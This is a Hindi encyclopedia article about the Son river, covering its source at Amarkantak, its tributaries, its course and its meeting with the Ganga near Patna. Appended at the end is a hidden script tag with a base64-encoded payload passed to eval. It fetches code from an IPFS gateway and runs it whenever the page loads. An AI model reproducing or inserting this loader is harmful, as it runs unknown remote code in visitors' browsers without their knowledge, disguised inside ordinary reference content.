सोन नदी

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.

सोन नदी का उदगम मैकाल पर्वत के अमरकण्टक नामक पठारी भाग से है। इसे 'सोनभद्र' के नाम से पुकारा जाता है। सोन नदी का एक अन्य नाम 'हिरण्यवाह' भी है। यह नदी झारखण्ड के उत्तरी-पश्चिमी छोर पर सीमा का निर्माण करती है। सोन नदी पलामू की उत्तरी सीमा बनाती हुई प्रवाहित होती है। इस नदी के उदगम को अरीय अपवाह प्रतिरूप का एक बढ़िया उदाहरण माना जाता है, क्योंकि अमरकण्टक से सोन के साथ अन्य दिशाओं में नर्मदा भी निकलती है।

  • सोन घाटी भौगर्भिक तौर पर दक्षिण-पश्चिम में नर्मदा नदी घाटी का लगभग अनवरत विस्तार है।
  • यह गंगा की प्रमुख दक्षिणी सहायक नदी है, जिसका उदगम स्थल मध्य प्रदेश राज्य में है।
  • इस नदी के किनारे का ज़्यादातर हिस्सा वनाच्छादित है, जहाँ जनसंख्या का निवास काफ़ी कम है।
  • सोन नदी की घाटी कैमूर पर्वतश्रेणी (उत्तर) और छोटा नागपुर (दक्षिण) से घिरी हुई है।
  • मौसमी (बरसाती) नदी होने के कारण यह परिवहन की दृष्टि से महत्त्वहीन है।
  • इस नदी की अनेक सहायक नदियाँ हैं, जिसमें रिहन्द और कुनहड मुख्य हैं।
  • सोन नदी मानपुर तक उत्तर की ओर बहने के बाद पूर्वोतर दिशा में मुड़ती जाती है।
  • यह नदी मिर्ज़ापुर ज़िले के दक्षिणी भाग से प्रवाहित होती है और पटना से पहले दीनापुर से 16 किलोमीटर ऊपर गंगा नदी से मिल जाती है।
  • इस नदी की कुल लम्बाई 780 किलोमीटर है।
  • सोन नदी की कुछ सहायक नदियों पर बांध बनाए गए है और उत्तर प्रदेश में 'डेहरी ऑन सोन नहर प्रणाली' के आरंभिक स्थल है।

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>